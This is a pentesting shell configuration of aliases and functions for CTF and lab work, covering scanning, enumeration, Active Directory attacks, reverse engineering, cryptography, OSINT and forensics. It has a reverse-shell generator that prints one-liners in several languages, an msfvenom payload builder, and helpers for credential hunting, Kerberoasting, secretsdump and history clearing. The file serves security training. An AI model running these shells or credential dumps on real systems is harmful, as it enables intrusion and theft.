# cyber -- pentesting, reverse engineering, cryptography, OSINT, forensics
# Sources: community, omniscient training framework

# ============================================================================
# aliases: nmap
# ============================================================================
alias nq='nmap -sn'                          # quick ping sweep
alias ns='nmap -sS -sV -O'                  # SYN scan + version + OS detect
alias nf='nmap -sS -p- -T4'                 # full port SYN scan, fast
alias nu='nmap -sU --top-ports 100'          # UDP top 100 ports
alias nv='nmap -sV -sC'                      # version + default scripts
alias na='nmap -A -T4'                       # aggressive scan
alias nvuln='nmap --script vuln'             # run all vuln scripts
alias nsmb='nmap -p 445 --script smb-vuln*'  # SMB vulnerability scan
alias nhttp='nmap --script http-enum'        # HTTP enumeration
alias nxml='nmap -oX'                        # output XML format
alias ngrep='nmap -oG -'                     # output grepable to stdout

# ============================================================================
# aliases: gobuster / feroxbuster / directory brute
# ============================================================================
alias gdir='gobuster dir -t 50'
alias gdirw='gobuster dir -t 50 -w /usr/share/wordlists/dirb/common.txt'
alias gdirbig='gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'
alias gdns='gobuster dns -t 50'
alias gvhost='gobuster vhost -t 50'
alias ferox='feroxbuster -t 100'
alias feroxr='feroxbuster -t 100 --auto-tune --smart'

# ============================================================================
# aliases: ffuf (fuzzing)
# ============================================================================
alias ffdir='ffuf -t 100 -mc 200,301,302,403'
alias ffsub='ffuf -t 100 -mc 200'
alias ffparam='ffuf -t 100 -mc 200'

# ============================================================================
# aliases: netcat / listeners
# ============================================================================
alias ncl='nc -lvnp'
alias nclr='rlwrap nc -lvnp'

# ============================================================================
# aliases: reverse shells (generators)
# ============================================================================
alias rshell='echo "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"'
alias rshellpy='echo "python3 -c '\''import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\''"'

# ============================================================================
# aliases: web scanning
# ============================================================================
alias nikto='nikto -h'
alias whatweb='whatweb -a 3'
alias wpscan='wpscan --enumerate vp,vt,u'
alias sqlm='sqlmap --batch --random-agent'
alias sqlmr='sqlmap --batch --random-agent --risk 3 --level 5'

# ============================================================================
# aliases: nuclei
# ============================================================================
alias nuc='nuclei -t ~/nuclei-templates/'
alias nucup='nuclei -update-templates'
alias nucc='nuclei -severity critical'
alias nuch='nuclei -severity high,critical'

# ============================================================================
# aliases: metasploit
# ============================================================================
alias msf='msfconsole -q'
alias msfv='msfvenom'
alias msfdb='msfdb start'

# ============================================================================
# aliases: hydra / brute force
# ============================================================================
alias hyssh='hydra -t 4 -V'
alias hyweb='hydra -t 16 -V'

# ============================================================================
# aliases: hashcat / john
# ============================================================================
alias hc='hashcat'
alias hcb='hashcat -a 0'
alias hcr='hashcat -a 0 -r /usr/share/hashcat/rules/best64.rule'
alias hcbf='hashcat -a 3'
alias hcs='hashcat --show'
alias jtr='john'
alias jtrw='john --wordlist=/usr/share/wordlists/rockyou.txt'
alias jtrs='john --show'

# ============================================================================
# aliases: privilege escalation
# ============================================================================
alias linpeas='sh linpeas.sh'
alias lse='sh linux-smart-enumeration.sh -l 2'

# ============================================================================
# aliases: file transfer shortcuts
# ============================================================================
alias pyserv='python3 -m http.server 8888'
alias pyserv80='python3 -m http.server 80'
alias phpserv='php -S 0.0.0.0:8888'
alias smbserv='impacket-smbserver share . -smb2support'
alias ftpserv='python3 -m pyftpdlib -p 21 -w'

# ============================================================================
# aliases: encoding / decoding
# ============================================================================
alias b64e='base64'
alias b64d='base64 -d'
alias urle='python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read().strip()))"'
alias urld='python3 -c "import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))"'
alias hexe='xxd -p'
alias hexd='xxd -r -p'
alias md5sum='md5sum'
alias sha1='sha1sum'
alias sha256='sha256sum'

# ============================================================================
# aliases: network utilities
# ============================================================================
alias myip='curl -s ifconfig.me'
alias myip6='curl -s ifconfig.me/ip6'
alias ports='ss -tlnp'
alias portsu='ss -ulnp'
alias portsa='ss -tlunp'
alias sniff='tcpdump -i any -w'
alias arpwatch='arp -an'
alias dnsrecon='dig +short'
alias whoislookup='whois'

# ============================================================================
# aliases: proxychains / tor
# ============================================================================
alias pc='proxychains4'
alias pcnmap='proxychains4 nmap'
alias pcurl='proxychains4 curl'
alias torstatus='systemctl status tor'
alias torstart='systemctl start tor'
alias torip='proxychains4 curl -s ifconfig.me'

# ============================================================================
# aliases: curl pentesting
# ============================================================================
alias curlh='curl -sI'
alias curlv='curl -sv'
alias curlk='curl -sk'
alias curlx='curl -x'
alias curlua='curl -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"'

# ============================================================================
# aliases: git intel
# ============================================================================
alias gitlog='git log --oneline -20'
alias gitdump='git-dumper'
alias gitls='git ls-files'

# ============================================================================
# aliases: searchsploit / exploit lookup
# ============================================================================
alias sse='searchsploit'
alias ssem='searchsploit -m'
alias ssex='searchsploit -x'
alias sseu='searchsploit --update'

# ============================================================================
# aliases: enum4linux / SMB
# ============================================================================
alias e4l='enum4linux -a'
alias smblist='smbclient -L'
alias smbget='smbclient'
alias cmex='crackmapexec'
alias cmesmb='crackmapexec smb'
alias cmewinrm='crackmapexec winrm'

# ============================================================================
# aliases: impacket
# ============================================================================
alias psexec='impacket-psexec'
alias wmiexec='impacket-wmiexec'
alias smbexec='impacket-smbexec'
alias secretsdump='impacket-secretsdump'
alias getTGT='impacket-getTGT'
alias getST='impacket-getST'
alias getuserspns='impacket-GetUserSPNs'

# ============================================================================
# aliases: active directory
# ============================================================================
alias bh='bloodhound'
alias bhpy='bloodhound-python'
alias rpcdump='impacket-rpcdump'
alias lookupsid='impacket-lookupsid'

# ============================================================================
# aliases: misc tools
# ============================================================================
alias responder='responder -I'
alias chisel='chisel'
alias lfi='curl -s'
alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'"
alias exif='exiftool'
alias stego='steghide extract -sf'
alias binwalk='binwalk -e'
alias strings='strings -a'

# ============================================================================
# aliases: directory shortcuts
# ============================================================================
alias cdhtb='cd ~/src/omniscient/writeups/hackthebox'
alias cdthm='cd ~/src/omniscient/writeups/tryhackme'
alias cdomni='cd ~/src/omniscient'
alias cdscripts='cd ~/src/omniscient/scripts'
alias cdsess='cd ~/src/omniscient/sessions'
alias cdwl='cd /usr/share/wordlists'

# ============================================================================
# aliases: reverse engineering - disassembly
# ============================================================================
alias objdumpi='objdump -d -M intel'
alias objdumps='objdump -s'
alias objdumph='objdump -x'
alias readelfh='readelf -l'
alias readelfsh='readelf -S'
alias readelf_dyn='readelf -d'
alias nm_all='nm -a'
alias nm_dyn='nm -D'
alias nm_undef='nm -u'
alias r2='radare2'
alias r2a='radare2 -A'
alias rzai='rizin -A'
alias ghidra_hl='analyzeHeadless'

# ============================================================================
# aliases: reverse engineering - dynamic analysis
# ============================================================================
alias gdbgef='gdb -q -x ~/.gdbinit-gef'
alias gdbpwn='gdb -q -x ~/.gdbinit-pwndbg'
alias gdbatt='gdb -p'
alias gdbcore='gdb -c'
alias ltracec='ltrace -c'
alias stracewrite='strace -e write,read'
alias straceopen='strace -e openat,open'
alias valgrindcall='valgrind --tool=callgrind'
alias frida='frida -l'
alias rr='rr record'
alias rrreplay='rr replay'

# ============================================================================
# aliases: reverse engineering - binary analysis
# ============================================================================
alias checksec='checksec --file'
alias ropgadget='ROPgadget --file'
alias one_gadget='one_gadget'
alias ropper='ropper -f'

# ============================================================================
# aliases: reverse engineering - malware
# ============================================================================
alias yarascan='yara -r -s'
alias ssdeep='ssdeep -r -p'
alias ssdeepcompare='ssdeep -d'
alias die='detect-it-easy'
alias upxunpack='upx -d'
alias upxtest='upx -t'

# ============================================================================
# aliases: reverse engineering - firmware
# ============================================================================
alias binwalkx='binwalk -Me'
alias binwalka='binwalk -A'
alias jefferson='jefferson'
alias sasquatch='sasquatch -e rootfs -d out'
alias unsquash='unsquashfs'

# ============================================================================
# aliases: cryptography - openssl
# ============================================================================
alias ocert='openssl x509 -text -noout -in'
alias ocertdate='openssl x509 -noout -dates -in'
alias ocertsha='openssl x509 -noout -fingerprint -sha256 -in'
alias opem2der='openssl x509 -inform PEM -outform DER -in'
alias oder2pem='openssl x509 -inform DER -outform PEM -in'
alias ocsrinfo='openssl req -text -noout -verify -in'
alias otlscheck='openssl s_client -connect'
alias ociphers='openssl ciphers -v'
alias ogenrsa='openssl genrsa'
alias ogenec='openssl ecparam -genkey -name'
alias okeyinfo='openssl pkey -text -noout -in'
alias opubkey='openssl pkey -pubout -in'
alias oenc='openssl enc -e -aes-256-cbc -in'
alias odec='openssl enc -d -aes-256-cbc -in'

# ============================================================================
# aliases: cryptography - GPG
# ============================================================================
alias gpglist='gpg --list-keys'
alias gpglistsec='gpg --list-secret-keys'
alias gpggen='gpg --full-generate-key'
alias gpgenc='gpg -e -r'
alias gpgdec='gpg -d'
alias gpgsign='gpg --sign'
alias gpgverify='gpg --verify'
alias gpgexport='gpg --export -a'
alias gpgimport='gpg --import'

# ============================================================================
# aliases: cryptography - SSH keys
# ============================================================================
alias sshgenrsa='ssh-keygen -t rsa -b 4096'
alias sshgened25519='ssh-keygen -t ed25519'
alias sshpubfrom='ssh-keygen -y -f'
alias sshfingerprint='ssh-keygen -lf'

# ============================================================================
# aliases: cryptography - TLS analysis
# ============================================================================
alias testssl='testssl.sh'
alias sslyze='sslyze'
alias sslscan='sslscan'
alias tlsnmap='nmap -sV --script ssl-*'

# ============================================================================
# aliases: cryptography - tools
# ============================================================================
alias xortool='xortool'
alias ciphey='ciphey'
alias rsactftool='RsaCtfTool.py'
alias asn1parse='openssl asn1parse -in'

# ============================================================================
# aliases: OSINT - DNS recon
# ============================================================================
alias diga='dig +answer +short'
alias digmx='dig MX +short'
alias digns='dig NS +short'
alias digsoa='dig SOA +short'
alias digall='dig ANY +short'
alias amass='amass enum -d'
alias subfinder='subfinder -d'

# ============================================================================
# aliases: OSINT - web recon
# ============================================================================
alias httpx='httpx -silent'
alias httpxfull='httpx -title -status-code -content-type -server'
alias katana='katana -d 3 -silent'
alias gospider='gospider -s'
alias hakrawler='hakrawler -d 3'

# ============================================================================
# aliases: OSINT - social / email
# ============================================================================
alias sherlock='sherlock -o'
alias maigret='maigret -o'
alias theharvester='theHarvester -d'
alias holehe='holehe -s'

# ============================================================================
# aliases: OSINT - threat intel
# ============================================================================
alias vtcli='vt scan'
alias shodan='shodan search'
alias geoip='geoiplookup'

# ============================================================================
# aliases: forensics - disk
# ============================================================================
alias dcfldd='dcfldd hash=md5 hash=sha256'
alias dd_image='dd status=progress bs=4M conv=notrunc,noerror'
alias fls_recover='fls -r'
alias icat_extract='icat -r'

# ============================================================================
# aliases: forensics - memory
# ============================================================================
alias vol3='vol.py -f'
alias avml_dump='avml -o memory.avml'

# ============================================================================
# aliases: forensics - network
# ============================================================================
alias tcpdump_full='tcpdump -i any -A -s 0 -w'
alias tcpdump_dns='tcpdump -i any -n "port 53"'
alias tshark_http='tshark -Y "http.request or http.response"'
alias ngrep_payload='ngrep -W byline'
alias zeek_analyze='zeek -r'

# ============================================================================
# aliases: forensics - file analysis
# ============================================================================
alias foremost_all='foremost -t all'
alias file_magic='file -b --mime'
alias xxd_header='xxd -l 512'

# ============================================================================
# aliases: forensics - timeline
# ============================================================================
alias mactime_body='mactime -b'
alias mactime_csv='mactime -d -y'

# ============================================================================
# aliases: forensics - steganography
# ============================================================================
alias steghide_info='steghide info'
alias steghide_extract='steghide extract -sf'
alias zsteg_scan='zsteg -a'
alias outguess_extract='outguess -r'
alias exiftool_strip='exiftool -All= -overwrite_original'

# ============================================================================
# functions: reconnaissance
# ============================================================================

fullscan() {
    target="$1"
    [ -z "$target" ] && { echo "Usage: fullscan <target>"; return 1; }
    echo "[*] Quick port discovery on $target..."
    ports=$(nmap -p- --min-rate=1000 -T4 "$target" | grep '^[0-9]' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    [ -z "$ports" ] && { echo "[-] No open ports found"; return 1; }
    echo "[+] Open ports: $ports"
    echo "[*] Deep scan on open ports..."
    nmap -sC -sV -O -p"$ports" "$target" -oN "nmap_${target}.txt"
    echo "[+] Results saved to nmap_${target}.txt"
}

udpscan() {
    target="$1"
    [ -z "$target" ] && { echo "Usage: udpscan <target>"; return 1; }
    echo "[*] UDP scan on $target..."
    nmap -sU --top-ports 50 -sV "$target" -oN "udp_${target}.txt"
}

sweep() {
    subnet="$1"
    [ -z "$subnet" ] && { echo "Usage: sweep <subnet> (e.g. 10.10.10.0/24)"; return 1; }
    nmap -sn "$subnet" | grep 'Nmap scan report' | cut -d' ' -f5
}

# ============================================================================
# functions: enumeration
# ============================================================================

webenum() {
    url="$1"
    [ -z "$url" ] && { echo "Usage: webenum <url>"; return 1; }
    echo "[*] Common wordlist..."
    gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -t 50 -o "gobuster_common.txt" 2>/dev/null
    echo "[*] Medium wordlist..."
    gobuster dir -u "$url" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -o "gobuster_medium.txt" 2>/dev/null
    echo "[+] Results in gobuster_common.txt and gobuster_medium.txt"
}

smbenum() {
    target="$1"
    [ -z "$target" ] && { echo "Usage: smbenum <target>"; return 1; }
    echo "[*] Listing shares..."
    smbclient -L "//$target" -N 2>/dev/null
    echo "[*] Enum4linux..."
    enum4linux -a "$target" 2>/dev/null
}

subenum() {
    domain="$1"
    [ -z "$domain" ] && { echo "Usage: subenum <domain>"; return 1; }
    echo "[*] Subfinder..."
    subfinder -d "$domain" -silent 2>/dev/null | sort -u | tee "subs_${domain}.txt"
    echo "[+] Saved to subs_${domain}.txt"
}

# ============================================================================
# functions: exploitation helpers
# ============================================================================

msfshell() {
    lhost="$1"; lport="$2"; fmt="${3:-elf}"
    [ -z "$lport" ] && { echo "Usage: msfshell <lhost> <lport> [format]"; echo "Formats: elf, exe, py, php, war, asp, raw"; return 1; }
    case "$fmt" in
        elf)  msfvenom -p linux/x64/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f elf -o shell.elf ;;
        exe)  msfvenom -p windows/x64/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f exe -o shell.exe ;;
        py)   msfvenom -p cmd/unix/reverse_python LHOST="$lhost" LPORT="$lport" -f raw ;;
        php)  msfvenom -p php/reverse_php LHOST="$lhost" LPORT="$lport" -f raw -o shell.php ;;
        war)  msfvenom -p java/jsp_shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f war -o shell.war ;;
        asp)  msfvenom -p windows/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f asp -o shell.asp ;;
        raw)  msfvenom -p linux/x64/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f raw ;;
        *)    echo "Unknown format: $fmt" ;;
    esac
}

revshell() {
    lhost="$1"; lport="${2:-4444}"; lang="${3:-bash}"
    [ -z "$lhost" ] && { echo "Usage: revshell <lhost> [lport] [lang]"; echo "Langs: bash, python, php, perl, ruby, nc, nce, powershell"; return 1; }
    case "$lang" in
        bash)       echo "bash -i >& /dev/tcp/$lhost/$lport 0>&1" ;;
        python)     echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$lhost\",$lport));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" ;;
        php)        echo "php -r '\$sock=fsockopen(\"$lhost\",$lport);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ;;
        perl)       echo "perl -e 'use Socket;\$i=\"$lhost\";\$p=$lport;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" ;;
        ruby)       echo "ruby -rsocket -e'f=TCPSocket.open(\"$lhost\",$lport).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" ;;
        nc)         echo "nc -e /bin/sh $lhost $lport" ;;
        nce)        echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $lhost $lport >/tmp/f" ;;
        powershell) echo "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('$lhost',$lport);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\"" ;;
        *)          echo "Unknown lang: $lang" ;;
    esac
}

ttyshell() {
    echo "Run these in your reverse shell:"
    echo "  python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
    echo "  (Ctrl+Z to background)"
    echo "  stty raw -echo; fg"
    echo "  export TERM=xterm"
    echo "  stty rows $(tput lines) cols $(tput cols)"
}

# ============================================================================
# functions: file transfer
# ============================================================================

servefile() {
    file="$1"; port="${2:-8888}"
    [ -z "$file" ] && { echo "Usage: servefile <file> [port]"; return 1; }
    dir="$(dirname "$file")"
    base="$(basename "$file")"
    echo "[*] Serving $base on port $port"
    echo "[*] Download with: wget http://$(hostname -I | awk '{print $1}'):$port/$base"
    cd "$dir" && python3 -m http.server "$port"
}

b64file() {
    file="$1"
    [ -z "$file" ] && { echo "Usage: b64file <file>"; return 1; }
    echo "[*] Base64 encoded $file:"
    base64 -w0 "$file"
    echo
    echo "[*] Decode on target: echo '<paste>' | base64 -d > $(basename "$file")"
}

uploadserv() {
    port="${1:-8888}"
    echo "[*] Upload listener on port $port"
    echo "[*] Upload with: curl -F 'file=@/path/to/file' http://LHOST:$port/upload"
    python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, os
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        ct = self.headers['Content-Type']
        form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST','CONTENT_TYPE':ct})
        f = form['file']
        with open(f.filename, 'wb') as out:
            out.write(f.file.read())
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
        print(f'[+] Received: {f.filename}')
HTTPServer(('0.0.0.0', $port), H).serve_forever()
"
}

# ============================================================================
# functions: password / hash utilities
# ============================================================================

hashid() {
    hash="$1"
    [ -z "$hash" ] && { echo "Usage: hashid <hash>"; return 1; }
    len=${#hash}
    case "$len" in
        32) echo "Likely MD5 (hashcat mode 0)" ;;
        40) echo "Likely SHA1 (hashcat mode 100)" ;;
        56) echo "Likely SHA224 (hashcat mode 1300)" ;;
        64) echo "Likely SHA256 (hashcat mode 1400)" ;;
        96) echo "Likely SHA384 (hashcat mode 10800)" ;;
        128) echo "Likely SHA512 (hashcat mode 1700)" ;;
        *)
            case "$hash" in
                '$1$'*)   echo "MD5crypt (hashcat mode 500)" ;;
                '$2'*'$'*) echo "bcrypt (hashcat mode 3200)" ;;
                '$5$'*)   echo "SHA256crypt (hashcat mode 7400)" ;;
                '$6$'*)   echo "SHA512crypt (hashcat mode 1800)" ;;
                '$apr1$'*) echo "Apache MD5 (hashcat mode 1600)" ;;
                *)        echo "Unknown hash type (len=$len). Try: hashcat --identify '$hash'" ;;
            esac
            ;;
    esac
}

hcrack() {
    hash="$1"; mode="$2"
    [ -z "$mode" ] && { echo "Usage: hcrack <hashfile> <mode>"; echo "Common modes: 0=MD5, 100=SHA1, 1400=SHA256, 1800=SHA512crypt, 3200=bcrypt"; return 1; }
    hashcat -m "$mode" -a 0 "$hash" /usr/share/wordlists/rockyou.txt --force
}

# ============================================================================
# functions: privilege escalation helpers
# ============================================================================

findsuid() { echo "[*] SUID binaries:"; find / -perm -4000 -type f 2>/dev/null; }
findsgid() { echo "[*] SGID binaries:"; find / -perm -2000 -type f 2>/dev/null; }
findwritable() { echo "[*] World-writable directories:"; find / -writable -type d 2>/dev/null | grep -v proc; }
findcaps() { echo "[*] Files with capabilities:"; getcap -r / 2>/dev/null; }

findcron() {
    echo "[*] System crontabs:" && cat /etc/crontab 2>/dev/null
    echo "[*] User crontabs:" && ls -la /var/spool/cron/crontabs/ 2>/dev/null
    echo "[*] Cron directories:" && ls -la /etc/cron.* 2>/dev/null
    echo "[*] Systemd timers:" && systemctl list-timers --all 2>/dev/null
}

findconfigs() {
    echo "[*] Config files with passwords:"
    grep -rlI 'password\|passwd\|pwd\|secret\|key\|token\|api' /etc/ 2>/dev/null | head -20
    echo "[*] .bash_history files:" && find / -name '.bash_history' -readable 2>/dev/null
    echo "[*] SSH keys:" && find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' 2>/dev/null | grep -v proc
}

privcheck() {
    echo "=== SYSTEM INFO ===" && uname -a && cat /etc/os-release 2>/dev/null | head -3
    echo "=== CURRENT USER ===" && id && sudo -l 2>/dev/null
    echo "=== SUID ===" && find / -perm -4000 -type f 2>/dev/null | head -15
    echo "=== CAPABILITIES ===" && getcap -r / 2>/dev/null
    echo "=== WRITABLE /etc ===" && find /etc -writable -type f 2>/dev/null
    echo "=== INTERESTING FILES ===" && ls -la /opt/ /srv/ /var/backups/ 2>/dev/null
    echo "=== INTERNAL PORTS ===" && ss -tlnp 2>/dev/null
    echo "=== CRON ===" && cat /etc/crontab 2>/dev/null
}

# ============================================================================
# functions: active directory
# ============================================================================

kerberoast() {
    dc="$1"; domain="$2"; user="$3"; pass="$4"
    [ -z "$pass" ] && { echo "Usage: kerberoast <dc-ip> <domain> <user> <pass>"; return 1; }
    impacket-GetUserSPNs "$domain/$user:$pass" -dc-ip "$dc" -request -outputfile kerberoast.txt
    echo "[+] Hashes saved to kerberoast.txt"
    echo "[*] Crack with: hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt"
}

asreproast() {
    dc="$1"; domain="$2"; userlist="$3"
    [ -z "$userlist" ] && { echo "Usage: asreproast <dc-ip> <domain> <userlist>"; return 1; }
    impacket-GetNPUsers "$domain/" -dc-ip "$dc" -usersfile "$userlist" -format hashcat -outputfile asrep.txt
    echo "[+] Hashes saved to asrep.txt"
    echo "[*] Crack with: hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt"
}

domainsecretz() {
    dc="$1"; domain="$2"; user="$3"; pass="$4"
    [ -z "$pass" ] && { echo "Usage: domainsecretz <dc-ip> <domain> <user> <pass>"; return 1; }
    impacket-secretsdump "$domain/$user:$pass@$dc"
}

bhcollect() {
    dc="$1"; domain="$2"; user="$3"; pass="$4"
    [ -z "$pass" ] && { echo "Usage: bhcollect <dc-ip> <domain> <user> <pass>"; return 1; }
    bloodhound-python -d "$domain" -u "$user" -p "$pass" -ns "$dc" -c all
    echo "[+] JSON files generated. Import into BloodHound."
}

# ============================================================================
# functions: pivoting / tunneling
# ============================================================================

sshfwd() {
    lport="$1"; rhost="$2"; rport="$3"; sshhost="$4"
    [ -z "$sshhost" ] && { echo "Usage: sshfwd <local-port> <remote-host> <remote-port> <ssh-host>"; return 1; }
    ssh -L "$lport:$rhost:$rport" "$sshhost" -N -f
    echo "[+] Forwarding localhost:$lport -> $rhost:$rport via $sshhost"
}

sshsocks() {
    port="${1:-1080}"; sshhost="$2"
    [ -z "$sshhost" ] && { echo "Usage: sshsocks [port] <ssh-host>"; return 1; }
    ssh -D "$port" "$sshhost" -N -f
    echo "[+] SOCKS proxy on localhost:$port via $sshhost"
    echo "[*] Use with: proxychains4 or browser SOCKS5 proxy"
}

# ============================================================================
# functions: CTF / box management
# ============================================================================

boxinit() {
    name="$1"; platform="${2:-hackthebox}"
    [ -z "$name" ] && { echo "Usage: boxinit <box-name> [platform]"; return 1; }
    dir="$HOME/ctf/$platform/$name"
    mkdir -p "$dir"/{nmap,web,exploit,loot,notes}
    echo "# $name ($platform)" > "$dir/notes/notes.md"
    echo "## Target IP: " >> "$dir/notes/notes.md"
    echo "## Date: $(date -I)" >> "$dir/notes/notes.md"
    cd "$dir"
    echo "[+] Box workspace created at $dir"
    ls -la
}

setbox() {
    ip="$1"; name="$2"
    [ -z "$ip" ] && { echo "Usage: setbox <ip> [hostname]"; return 1; }
    export TARGET="$ip"
    export BOX="$name"
    echo "[+] TARGET=$ip"
    if [ -n "$name" ]; then
        echo "[*] Add to /etc/hosts: echo '$ip $name' | sudo tee -a /etc/hosts"
    fi
}

grepflag() {
    file="${1:--}"
    grep -oiE '(flag|htb|thm|ctf)\{[^}]+\}|[a-f0-9]{32}' "$file"
}

# ============================================================================
# functions: session management
# ============================================================================

sessstart() {
    box="$1"; platform="${2:-hackthebox}"
    [ -z "$box" ] && { echo "Usage: sessstart <box-name> [platform]"; return 1; }
    sessdir="$HOME/src/omniscient/sessions"
    sessfile="$sessdir/$(date -I)-${box}.md"
    cat > "$sessfile" << SESSEOF
# Session: $box ($platform)
Date: $(date -I)
Duration: ~
Difficulty:

## Attack Path
1.

## Skills Demonstrated
-

## Skill Gaps Identified
-

## Tools Used
-

## Key Takeaways
-

## Notebooks Required
- [ ]

## Evergreen Notes
- [ ]

## Anki Cards
Q:
A:
---
SESSEOF
    echo "[+] Session file: $sessfile"
    export OMNISCIENT_SESSION="$sessfile"
}

sessnote() {
    [ -z "$OMNISCIENT_SESSION" ] && { echo "No active session. Run sessstart first."; return 1; }
    echo "- $(date +%H:%M) $*" >> "$OMNISCIENT_SESSION"
}

# ============================================================================
# functions: quick lookups
# ============================================================================

gtfo() {
    bin="$1"
    [ -z "$bin" ] && { echo "Usage: gtfo <binary-name>"; return 1; }
    echo "https://gtfobins.github.io/gtfobins/$bin/"
    curl -s "https://gtfobins.github.io/gtfobins/$bin/" 2>/dev/null | grep -oP '(?<=<code>).*?(?=</code>)' | head -20
}

exploit() {
    term="$1"
    [ -z "$term" ] && { echo "Usage: exploit <search-term>"; return 1; }
    searchsploit "$term"
}

cve() {
    id="$1"
    [ -z "$id" ] && { echo "Usage: cve <CVE-ID>"; return 1; }
    curl -s "https://cveawg.mitre.org/api/cve/$id" 2>/dev/null | python3 -m json.tool 2>/dev/null | head -40
}

# ============================================================================
# functions: cleanup / opsec
# ============================================================================

cleartracks() {
    echo "[!] CTF/Lab cleanup only"
    unset HISTFILE
    history -c 2>/dev/null
    echo "[+] Shell history cleared for this session"
}

amihome() {
    echo "Hostname: $(hostname)"
    echo "User: $(whoami)"
    echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')"
    echo "OS: $(uname -s -r)"
}

# ============================================================================
# functions: reverse engineering
# ============================================================================

elfinfo() {
    binary="$1"
    [ -z "$binary" ] && { echo "Usage: elfinfo <binary>"; return 1; }
    [ ! -f "$binary" ] && { echo "[-] File not found: $binary"; return 1; }
    echo "=== FILE INFO ===" && file "$binary"
    echo "" && echo "=== CHECKSEC ===" && checksec --file="$binary" 2>/dev/null
    echo "" && echo "=== DYNAMIC SYMBOLS ===" && readelf -s "$binary" 2>/dev/null | grep "FUNC\|OBJECT" | head -20
    echo "" && echo "=== STRINGS (sample) ===" && strings "$binary" | head -20
}

peinfo() {
    binary="$1"
    [ -z "$binary" ] && { echo "Usage: peinfo <binary>"; return 1; }
    echo "=== FILE INFO ===" && file "$binary"
    echo "" && echo "=== CHECKSEC ===" && checksec --file="$binary" 2>/dev/null
    echo "" && echo "=== EXIFTOOL ===" && exiftool "$binary" 2>/dev/null | head -25
    echo "" && echo "=== STRINGS ===" && strings "$binary" 2>/dev/null | head -20
}

r2analyze() {
    binary="$1"; output="${2:-analysis.r2s}"
    [ -z "$binary" ] && { echo "Usage: r2analyze <binary> [output]"; return 1; }
    r2 -A -q -c "aaaa;afl;q" "$binary" > "$output"
    echo "[+] Analysis saved to $output"
}

pwntemplate() {
    binary="$1"; output="${2:-exploit.py}"
    [ -z "$binary" ] && { echo "Usage: pwntemplate <binary> [output.py]"; return 1; }
    cat > "$output" << 'PWNEOF'
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./BINARY')
context.log_level = 'info'
# r = remote('localhost', 1337)
# r = process(['./BINARY'])
# p.sendline(b'payload')
# p.interactive()
PWNEOF
    sed -i "s|BINARY|$binary|g" "$output"
    chmod +x "$output"
    echo "[+] Template: $output"
}

ropfind() {
    binary="$1"; gadget="${2:-pop}"
    [ -z "$binary" ] && { echo "Usage: ropfind <binary> [pattern]"; return 1; }
    echo "=== ROPgadget ===" && ROPgadget --file "$binary" --search "$gadget" 2>/dev/null | head -15
    echo "" && echo "=== ropper ===" && ropper -f "$binary" -s "$gadget" 2>/dev/null | head -15
}

unpack() {
    binary="$1"; outdir="${2:-.}"
    [ -z "$binary" ] && { echo "Usage: unpack <binary> [outdir]"; return 1; }
    die "$binary" 2>/dev/null | grep -i "packer\|crypter"
    if upx -t "$binary" 2>&1 | grep -q "UPX"; then
        upx -d -o "${outdir}/${binary##*/}.unpacked" "$binary"
    else
        echo "[-] Not UPX packed"
    fi
}

diffbin() {
    bin1="$1"; bin2="$2"; format="${3:-hex}"
    [ -z "$bin2" ] && { echo "Usage: diffbin <bin1> <bin2> [hex|strings|symbols]"; return 1; }
    case "$format" in
        hex) diff <(hexdump -C "$bin1") <(hexdump -C "$bin2") | head -50 ;;
        strings) diff <(strings "$bin1" | sort) <(strings "$bin2" | sort) | head -50 ;;
        symbols) diff <(nm "$bin1" | sort) <(nm "$bin2" | sort) | head -50 ;;
    esac
}

